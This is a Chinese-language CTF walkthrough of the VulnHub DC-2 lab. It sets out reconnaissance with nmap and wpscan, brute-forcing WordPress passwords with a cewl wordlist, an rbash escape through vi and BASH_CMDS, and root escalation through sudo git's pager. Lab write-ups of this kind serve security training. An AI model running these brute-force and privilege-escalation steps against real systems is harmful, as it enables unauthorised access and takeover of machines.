[VulnHub]DC-2靶场全过程

DC-2

信息收集

arp-scan -l

image-20250501005532680

nmap -sP 192.168.190.0/24

image-20250501005804273

kali靶机:192.168.190.128
DC-2靶机:192.168.190.138

知道了靶机ip之后,我们就可以详细信息收集进行扫描

nmap -sS -T5 -sC -p- --min-rate 10000 192.168.190.138
nmap -sS -p---min-rate 10000 $ip
  • -sS:表示 SYN 扫描,也叫半开放扫描。它不完成完整的 TCP 连接,仅发送 SYN 包,收到 SYN-ACK 包后回复 RST 包。这种扫描速度快且隐蔽,不易被目标系统日志记录。

  • -T5:设置扫描的时间模板。T取值范围是 0 - 5,T5代表极速模式,扫描延迟非常低,会快速发送探测包以加快扫描速度,但可能增加被目标网络设备察觉的风险 。

  • -sC:等同于--script=default ,会运行 Nmap 的默认脚本集。这些脚本用于检测常见服务的版本、漏洞等信息,能增强扫描的检测能力。

  • -p-:指定扫描所有端口,即从 1 到 65535 的全部 TCP 端口。

  • --min-rate 10000:设置扫描时每秒至少发送 10000 个探测包,目的是提高扫描速度,让扫描过程更快完成。

image-20250501010646947

看到80端口开放着,我们访问一下靶机试试

image-20250501011214555

但是发现访问不了,且发现我们输入的ip地址自动转化为了域名,我们想到dc-2这个域名解析失败,我们更改hosts文件,添加一个ip域名指向。

image-20250501011852119

添加之后,再次访问,访问成功发现是wordpress的站点

image-20250501011932362

dirsearch -u http://192.168.190.138 -e *
dirb http://192.168.190.138

image-20250501012827474

whatweb -v 192.168.190.138

image-20250509182102475

image-20250509182110223

渗透测试

flag1

image-20250509182334793

image-20250509182353813

flag1的意思差不多就是让你暴力破解

前面信息收集时候发现后台的地址:

http://dc-2/wp-login.php?redirect_to=http%3A%2F%2F192.168.190.138%2Fwp-admin%2F&reauth=1

image-20250509202551741

image-20250509202621913

这是一个wordpress的站,我们采用专门针对wordpress的工具wpscan来进行扫描进行用户枚举

wpscan一些常用用法:
wpscan --url http://dc-2 获取版本信息
wpscan --url http://dc-2 --enumerate p 扫描插件
wpscan --url http://dc-2 --enumerate u 枚举用户 > admin/jerry/tom

image-20250509203645435

这里是因为我kali版本太低了,没有扫出来

img

我们可以使用cewl命令行工具,对网站进行生成字典,保存到password.txt,然后使用wpscan爆破

cewl http://dc-2/ > password.txt
wpscan --url http://dc-2 --passwords password.txt

image-20250509204259369

image-20250509204648622

jerry/adipiscing
tom/parturient

然后进行登录

image-20250509204743365

flag2

image-20250519182648600

找到flag2

image-20250519182708201

Flag 2:

If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.

如果您无法利用 WordPress 并走捷径,还有另一种方法。

希望您找到了另一个切入点。

flag3

我们还有一个tom账号没有登录,同时在信息收集的时候,我们还有个7744端口

ssh tom@192.168.190.138 -p 7744

image-20250519212226850

image-20250519212327775

ls
vi flag3.txt


Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

可怜的老汤姆总是追着杰瑞跑。也许他应该为他造成的所有压力感到自豪。
(su命令提示)

image-20250519212656632

但是没有su这个命令,另外也提示我们需要rbash逃逸

(rbash 是受限的 bash shell,对用户的操作做了诸多限制,比如不能使用cd命令改变目录、不能随意修改PATH环境变量、限制导入功能等 ,目的是提升系统安全性,限制用户在系统中的操作范围。)

image-20250519221228839

这里我一开始用的是vi的方式进行rbash逃逸

vi
:set shell=/bin/bash
:shell

然后我们就可以使用cd什么命令了

image-20250519223139615

但是依旧没办法su

image-20250519223151411

所以我们要去构造一个su命令

BASH_CMDS[su]=/bin/sh;su
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
echo /*
su jerry

image-20250519223555215

flag4

cd ..
ls 
cd jerry
ls
cat flag4.txt

image-20250519224802824

Good to see that you've made it this far - but you " re not home yet .
很高兴看到你走了这么远,但你还没回家。
You still need to get the final flag (the only flag that really counts!!! ).
您仍然需要获得最后的标志(唯一真正重要的标志!)
No hints here 一you're on your own now. :- )
这里没有暗示,一,你现在只能靠自己了。*-)
Go on
继续
git outta here!!!!

最后肯定是需要提权获取到最后一个flag,提示到git,可能需要git提权

flag5

sudo -l

image-20250519225043171

发现jerry无需root权限执行git

查看一下可以使用的root权限命令
find / -user root -perm -4000 -print 2>/dev/null

-perm -4000:用于筛选具有特定权限的文件。在linux权限体系中,4000(八进制)对应的权限标志是SUID。设置了SUID的文件,普通用户执行时会临时获得文件所有者(这里是root)的权限来运行该程序。表示查找所有设置了SUID权限位的文件。

image-20250519225302133

这里sudo/su 都需要root权限,我们这里只能使用git命令,并使用git命令提权

sudo git branch --help config
以sudo权限(即 root 身份)打开 Git 分支配置相关的帮助文档

sudo git branch --help status
同理,以 root 身份打开 Git 状态相关的帮助文档。

!/bin/sh
在某些寻呼机程序(如less)中,!符号用于执行外部命令。这里的!/bin/sh会尝试以 root 权限启动一个交互式 shell。

image-20250519225742164

image-20250519225759841

image-20250519225819683

cd /root
ls
cat final-flag.txt

image-20250519225907679

posted @ 2025-05-28 16:05  dynasty_chenzi  阅读(9)  评论(0)    收藏  举报
返回顶端